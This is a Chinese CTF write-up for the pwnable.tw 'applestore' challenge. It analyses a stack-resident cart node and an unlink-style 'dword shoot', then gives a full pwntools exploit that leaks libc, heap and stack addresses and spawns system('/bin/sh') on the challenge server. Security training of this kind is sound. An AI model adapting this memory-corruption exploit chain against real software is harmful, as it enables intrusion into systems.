【PWNABLE.TW】 applestore 解题思路

做到这道题的时候正赶上iPhone 8上市,撒花~(虽然不知道为啥)

题目功能

先进到main函数,比较简单。

myCart位于bss段上,是一个长度为0x10。

主要的处理函数是handler函数:

这是一个标准的菜单类题目。挨个函数看下去 list:

这个是各种手机的价格,什么都没有。

再看第二个函数:

这个函数是一个添加购物车的函数,具体采用my_read函数,得到用户输入的商品号,然后用atoi函数进行判断。

my_read函数中存在一个问题,在read部分中以\0分割可以输入其他内容到栈上,并不影响运行结果,因为atoi函数是以\0为分割的。

再看create函数:

先malloc了一块空间,并返回,内容先不说。然后再看insert函数,首先在myCart上寻找,找到第3个字节为0的就将上面malloc的内存挂在上面。

当malloc、insert许多内存块后,大致就形成了链表。

delete函数

首先还是使用my_read函数,接受用户输入,根据输入判断删除的位置,进一步将被删除的内存块从链表中摘除,摘除的操作类似于smallbins的unlink操作。

cart函数,这是一个遍历链表并打印的过程,一遍来说,内存数据泄露都出现在这样的函数中。

checkout函数,这是一个结账函数,但是并不是真的结账,无论选择多少东西,函数都会告诉你下次结账吧。不过这里存在一个彩蛋,当选择商品的总价为7174时,会以1美元的价格在购物车里添加一台iPhone8.

漏洞分析

位置就是在上面赠送的iPhone 8处,所谓的Free is the most expensive。

之前选择的商品都使用了malloc为商品创建了一块内存,但最后这个用了栈内的一块空间,距离ebp-2c个字节。

有了这点还不够,需要查看这块栈地址是否能被我们利用。

在其他函数中,距离ebp -0x20的位置都可以被用户自己修改。如,

以上位置,再加上my_read中的bug(上文提到的),就可以修改iPhone 8 内存块的任意结构了。

漏洞利用

首先是7174价格的构造,简单的方法,所有的价格都以99结尾,然后价格以4结尾,总数应该是6台,所以尝试用19926 + 100 * 20 = 7174。即 6台 iPhone6 + 20台 iPhone 6s可以构造。

如此可以得到第27块是栈里的一块。

libc地址泄露

在之前说过的,cart函数一般是地址泄露重要的突破点,这个也不例外,可以看到函数逻辑中,在打印部分是顺序遍历链表,若i+8不为空,就打印下一块的i,i+4部分:

前面构造的26块很正常,当第27块构造成如下结构时,即可泄露函数地址:

在用户输入时,别忘了buf是从-22开始的,即前面还有两个自己,这两个字节恰好填充为 “y\0”

如此便可泄露libc地址:

泄露堆地址

仅仅泄露一个libc是不够的,还需要更多数据。

这个地址可以使用bss段上的myCart来泄露,因为bss端地址已知,其次myCart是链表头,具体可将内存块构造成如下这样:

同样,不要忘记前面的“y\0”

泄露stack地址

上面可以得到第一块malloc得到堆的地址。一定有这样的疑惑,有了第一块堆的地址,通过计算26次malloc(0x10)就可以计算出第26块的地址,才利用上面的方法泄露,不就可以得出了第26块上 i+8的地址了吗?(栈上地址)

最开始就是这么写的,但是实际跑的时候发现并没有这样分配,没有特别多的规律,所以我采用了每次得到下一块堆块的地址,然后泄露其i+8内容,不断迭代得到最后的栈地址。

以上就得到了全部的地址。如果有人知道为啥堆分配不是顺次+ 0x18的请告诉我

仅仅泄露堆栈等地址貌似没什么用,必须找到可以篡改的地方。

Dword shoot

DWORD SHOOT是堆漏洞的一个名词,意思是可以精确覆盖一个双字节地址的漏洞,常见的就是unlink漏洞。

上面说过,删除购物车里货物的方式类似于堆的unlink,因此存在的漏洞也类似于unlink的漏洞。

当我们修改第27块iPhone 8的后8字节时,对其进行删除就会有个DWORD SHOOT漏洞。

该漏洞如何利用呢?

覆写一般的地址会有一个四字节的副作用产生,因此常见的利用方法是覆盖下两层函数的ebp,进一步控制esp,控制eip。

详细的原理可以参考之前我写的一篇关于pwnable.kr中的unlink题目: http://www.cnblogs.com/p4nda/p/7172104.html

利用思路是覆盖ebp,控制esp,控制eip,可参看这一篇:http://www.cnblogs.com/p4nda/p/7280520.html

第27块堆块的内容如下:

这次前面两位填写“27”

关键就在于如何构造stack_addr地址,必须找到一块我们可以覆写的内存,且在main函数结束之前不被破坏。这里我选择的在handler函数中的nptr块,

将其构造为:

由于会在main函数退出时执行system(‘/bin/sh’),因此前两位填写“6\0”,使函数退出。

在这里还踩过一个坑在于使用子函数如cart内的nptr作为fake steak,但是不可以,有耐心的可以自行调一下为啥~

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from pwn import *
debug = 0
elf = ELF('./applestore')
if debug:
p = process('./applestore')
libc = ELF('./libc.local.so')
#off = 0x001b2000
context.log_level = 'debug'
# gdb.attach(p)
else:
p = remote('chall.pwnable.tw', 10104)
libc = ELF('./libc_32.so.6')
#off = 0x001b0000

for i in range(6):
p.recvuntil(">")
p.sendline('2')
p.recvuntil("Device Number>")
p.sendline('1')
for i in range(20):
p.recvuntil(">")
p.sendline('2')
p.recvuntil("Device Number>")
p.sendline('2')

p.recvuntil('>')
p.sendline('5')
p.recvuntil('Let me check your cart. ok? (y/n) >')
p.sendline('y')

if 'iPhone 8' in p.recvuntil('>'):
log.success('got iPhone 8')




#leaklibc
num = 'y\0'
read_got = elf.got['read']
price = 0
next_phone = 0
last_phone = 0xdeadbeef
leak = 'y'
leak = flat(num,read_got,price,next_phone,last_phone)
print len(leak),' : ', leak
p.sendline('4')
p.recvuntil('Let me check your cart. ok? (y/n) >')
p.sendline(leak)
p.recvuntil('27: ')

read_libc_addr = u32(p.recv(4))
if read_libc_addr > 0xf7000000:
log.success('got read addr:'+hex(read_libc_addr))
system_libc = libc.symbols['system']
bin_sh_libc = next(libc.search('/bin/sh'))
read_libc = libc.symbols['read']

system_libc_addr = system_libc + read_libc_addr - read_libc
bin_sh_libc_addr = bin_sh_libc + read_libc_addr - read_libc
#leakheap
#gdb.attach(p,'b *0x8048b03')
p.recvuntil('>')
num = 'y\0'
read_got = 0x804b070
price = 0
next_phone = 0
last_phone = 0xdeadbeef
leak = 'y'
leak = flat(num,read_got,price,next_phone,last_phone)
print len(leak),' : ', leak
p.sendline('4')
p.recvuntil('Let me check your cart. ok? (y/n) >')
p.sendline(leak)
p.recvuntil('27: ')
heap_addr = u32(p.recv(4))
print '[+]heap: ',hex(heap_addr)
#leak_stack
stack_p = log.progress('pass')
for i in range(26):
p.recvuntil('>')
num = 'y\0'
read_got = heap_addr+8
price = 0
next_phone = 0
last_phone = 0xdeadbeef
leak = 'y'
leak = flat(num,read_got,price,next_phone,last_phone)
print len(leak),' : ', leak
p.sendline('4')
p.recvuntil('Let me check your cart. ok? (y/n) >')
p.sendline(leak)
p.recvuntil('27: ')
heap_addr = u32(p.recv(4))
print '[+]stack: ',hex(heap_addr)
stack_p.status('stack' + hex(heap_addr))


stack_addr = heap_addr
p.success('find stack addr:'+hex(stack_addr))
#dword shoot
ebp_addr = stack_addr + 0x20 + 0x40

num = '27'

dword_shoot_exp = flat(num,0,0,stack_addr+64,ebp_addr-8)
print len(dword_shoot_exp),":",dword_shoot_exp
p.recvuntil('>')
p.sendline('3')
p.recvuntil('Number>')
#gdb.attach(p)
p.sendline(dword_shoot_exp)
'''
#put system into stack

p.recvuntil('>')

'''
#exit


num = '6\0'
esp = 0xdeadbeef
exp = flat(num,esp,system_libc_addr,esp,bin_sh_libc_addr)


p.recvuntil('>')
p.sendline(exp)



p.interactive()
文章目录
  1. 1. 题目功能
  2. 2. 漏洞分析
  3. 3. 漏洞利用
    1. 3.1. libc地址泄露
    2. 3.2. 泄露堆地址
    3. 3.3. 泄露stack地址
    4. 3.4. Dword shoot
  4. 4. EXP
|